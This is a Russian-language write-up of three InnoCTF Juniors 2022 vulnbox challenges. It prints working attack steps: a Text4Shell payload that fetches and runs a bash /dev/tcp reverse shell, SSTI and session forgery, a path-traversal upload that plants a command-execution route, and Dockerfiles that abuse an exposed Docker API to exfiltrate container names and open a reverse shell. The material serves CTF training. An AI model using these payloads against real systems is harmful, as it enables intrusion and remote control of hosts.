---
# System prepended metadata

title: InnoCTF Juniors 22. Vulnbox write-ups

---

# InnoCTF Juniors 22. Vulnbox write-ups

[TOC]

## Vulnbox 1 - входная точка

CVE-2022-42889 в Apache Commons Text
Референс: https://github.com/cxzero/CVE-2022-42889-text4shell

**Эксплуатация:**

1. Локально создайте файл rev.sh следующего содержания: 
```bash=
bash -i >& /dev/tcp/127.0.0.1/5555 0>&1
```
не забудьте заменить на свой публично доступный IP и порт

2. Запустите простой http-сервер на своём публично доступном IP и порту
```bash=
{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c <rev.sh)\r\n\r\n"; cat rev.sh; } | nc -l 5555
```

3. На уязвимой машине загрузите следующий payload в формате url-encoded. В данном примере идет скачивание файла с шеллом с вашего публичного адреса и порта из пункта 1
```bash=
${script:javascript:java.lang.Runtime.getRuntime().exec('curl -s http://127.0.0.1:5555/ -o /tmp/rev.sh')}

http://0.0.0.0:8080/?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27curl%20-s%20http%3A%2F%2F127.0.0.1%3A5555%2F%20-o%20%2Ftmp%2Frev.sh%27)%7D
```

4. Запустите на своей публично доступной машине netcat-сервер
```bash=
nc -lvp 5555
```
5. Установите соединение с уязвимой машины, запустив уже загруженный шелл. Payload должен быть обязательно url-encoded
```bash=
${script:javascript:java.lang.Runtime.getRuntime().exec('bash /tmp/rev.sh')}
http://0.0.0.0:8080/?text=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27bash%20%2Ftmp%2Frev.sh%27)%7D
```
6. Флаг лежит в /root/flag.txt

## Vulnbox 2 - OAuth

Доступ до машины можно было получить прокинув туннель через ssh (sshtunnel или ssh -D).

Сайт представлял собой файловое хранилище, где загрузка файлов была разрешена только верифицированным пользователям.

Далее изучаем доступный сайт, можно было скачать исходный код сайта и посмотреть что там есть интересного. Первое что попадается под руку - база sqlite, хранящая УЗ admin. Но сбрутить пароль (sha256) не выходит, смотрим далее. Еще стоило обратить внимание на включенный **Debug mode**. Тут открывается сразу два пути:

**Способ 1: SSTI через OAuth Yandex**

Видим что при обычной регистрации идет проверка по регулярному выражению:

```python=
USERNAME_REGEX = compile("^(?=[a-zA-Z0-9._]{2,20}$)(?!.*[_.]{2})[^_.].*[^_.]$")
```

То есть подставить какие либо спецсимволы при обычной регистрации невозможно. Так же видим пару api методов (которые не требуют аутентификации):

```python=
@app.route('/api/account/info')
def info():
    return render_template_string(dumps({"AccountName": session['fullname'], "Verificate":session['verificate']}))

@app.route('/api/files/list')
def filesList():
    path = spath.join(getcwd(), "public", "uploads")
    return render_template_string('; '.join(next(walk(path), (None, None, []))[2]))
```

Обратившись по пути **/api/files/list** можно было получить первый флаг, так как в папке uploads лежал файл **flag.txt**

Так же обращаем внимание что **/api/accoun/info** отдает инфу о пользователе (данные берутся из сессии) через render_template_string, что намекает на использование SSTI.

Далее смотрим на возможность авторизации через OAuth Yandex. Если внимательно изучить вкладку аккаунта на самом яндексе - можно обратить внимание что допускается некоторое (небольшое) количество спецсимволов в полях имени/фамилии. Далее стоит обратить внимание что в коде эти два поля и забираются:

```python=
session['fullname'] = result['real_name']
```

Меняем информацию в лично аккаунте яндекса на что то подобное:

```code=
Имя: {{ config
Фамилия: }}
```

И спокойно (нет) пытаемся авторизоваться на нашем приложении. Тут возникает новая засада - callback приходит на 127.0.0.1

```code=
http://127.0.0.1:8000/oauth/yandex/callback/?code=
```

Но ничего (почти ничего) не мешает перехватить запрос и поменять ip на ip нашей машины и получить SECRET_KEY, с помощью которого мы можем подделать cookie авторизованного пользователя admin и получить желанный доступ до **/upload** страницы.

На этом моменте возникала еще одна техническая засада, которая была исправлена (упрощена) в середине игры - что бы общение с YaOAuth просходило корректно - нужно было пропускать трафик на внешку через себя. Задача была не тривиальной, поэтому позже мы открыли прямой доступ в интернет для машин.

Успешно подделав сессию, можно начинать загружать файлы.

Конечно же была проверка на попытки выхода из директории:
```code=
def unsafeFileName(filename):
    return filename.replace("../", "")
```

Ошибка данного приложения крылась в функции

```python=
file_path = spath.join(getcwd(), "modules", "public", "uploads", file_name)
```

Если посмотреть [документацию](https://docs.python.org/3.10/library/os.path.html#os.path.join), можно найти такую сноску:

```code=
If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.
```

То есть, если мы укажем имя файла **/kek** оно будет загружено непосредственно в корневую директорию. Бинго!
Но что бы такого подделать? Лучше всего для этого подходил файл **api.py**, там можно было безболезненно добавить новый роут:

```python=
@app.route('hacked'):
def hacked():
    return os.system(request.args.get('command'))
```

Останется перехватить запрос в Burp и подменить filename на что то по типу **..//app/modules/api.py**

Далее обращаемся по этому роуту и передаем параметр содержащий полезную нагрузку:

```code=
http://localhost/hacked?command=id
```

И спокойно получаем реверс шелл.
Осматриваемся и в директории /home/srvserver находим второй **flag.txt**

**Способ 2: Path Traversal**

В данном способе мы опять таки должны были получить готовый аккаунт, но теперь можно было действовать по другому для получения шелла.

Попробуем снова перехватить запрос при передаче данных и подменить его на что то по типу 
```code=
..//etc/os-release
```

И нам отдается этот файл!
Вспоминаем что у нас включен Debug mode и идем собирать [информацию](https://github.com/wdahlenburg/werkzeug-debug-console-bypass) в системе что бы сгенерировать pin-code и получить власть над панелью дебага.
А так же одна команда (не будем показывать пальцем) сделала ход конем и вытащила таким образом сначала **/etc/passwd** и оттуда наугад обратилась к **/home/srvserver/flag.txt**, получив флаг.

**Повышение привелегий до root**
Данный шаг был достаточно прост. Захватив власть над УЗ **srvserver** нужно было глянуть в каких группах состоит учетка. Видим группу **docker**. Ну чтож, тут даже [описывать](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/abusing-docker-socket-for-privilege-escalation) нечего.

## Vulnbox 3 - MinIO

После разведки находим порт 9000, смотрим что за зверь там крутиться и узнаем старый добрый s3 бакет MinIO. Гуглим информацию о доступных CVE и натыкаемся на подробный [райтап](https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO-EN.html), где нам говорят о возможности SSRF. Пробуем пару тестовых запросов (не забыв поднять локальный лисенер):

```code=
curl -v -i -s -k -X 'POST' http://192.168.12.1:9000/minio/webrpc -H 'Host: 192.168.12.15:4444' -H 'User-Agent: Mozilla/5.0' -H 'Content-Type: application/json' --data-binary '{"id":1,"jsonrpc":"2.0","params":{"token":"Test"},"method":"web.LoginSTS"}'
```

И убеждаемся что действительно нам это подходит.
Далее пробуем пойти по той же инструкции ии... Многие получили затык на этом месте, так как пробовали обращаться на ip данного вулнбокса, а **docker api был запущен на 127.0.0.1**

Разобравшись в чем дело - делаем правильный запрос, например на http://localhost:2375/containers/json и получаем валидный ответ. Точка проникновения найдена!

Казалось бы можно дальше действовать согласно инструкции выше, но к сожалению MinIO был запущен не в докере, а на хосте, поэтому стоило переписать Dockerfile примерно следующим образом:

```code=
FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'remoteMachine="http://192.168.1.22:4455"'; \
        echo 'target="http://localhost:2375"'; \
        echo 'jsons=$(curl -s -XGET "${target}/containers/json" | jq -r ".[] | @base64")'; \
        echo 'for item in ${jsons[@]}; do'; \
        echo '    name=$(echo $item | base64 -d | jq -r ".Image")'; \
        echo '    curl -s -XPOST "${remoteMachine}/?container=${name}
        echo '    fi'; \
        echo 'done'; \
    } | bash
```

Для получения всех запущенных машин на хосте. Как ни странно - одна из них была доступна, а значит можно было получить ее id и сделать внутрь exec, добавив в Dockerfile следующие строки:

```code=
FROM alpine:3.13

RUN apk add curl bash jq

RUN set -ex && \
    { \
        echo '#!/bin/bash'; \
        echo 'set -ex'; \
        echo 'target="http://localhost:2375"'; \
        echo 'remoteMachine="http://192.168.1.22:4455"'; \
        echo 'execId=123123123'; \
        echo 'execid=$(curl -s -X POST "${target}/containers/${id}/exec" -H "Content-Type: application/json" --data-binary "{\"Cmd\": [\"bash\", \"-c\", \"bash -i >& /dev/tcp/192.168.1.142/4444 0>&1\"]}" | jq -r ".Id")'; \
        echo 'curl -s -X POST "${target}/exec/${execid}/start" -H "Content-Type: application/json" --data-binary "{}"'; \
        } | bash
```

Где вместо execid нужно было подставить id контейнера. Провалившись внутрь - обнаруживаем что он запущен в priv моде. Ну тут тоже все [банально и просто](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation).

И таким не хитрым образом мы уже на хосте, осталось собрать флаги:

**/data/secret/flag.txt**
**/root/flag.txt**
**/home/george/flag.txt**


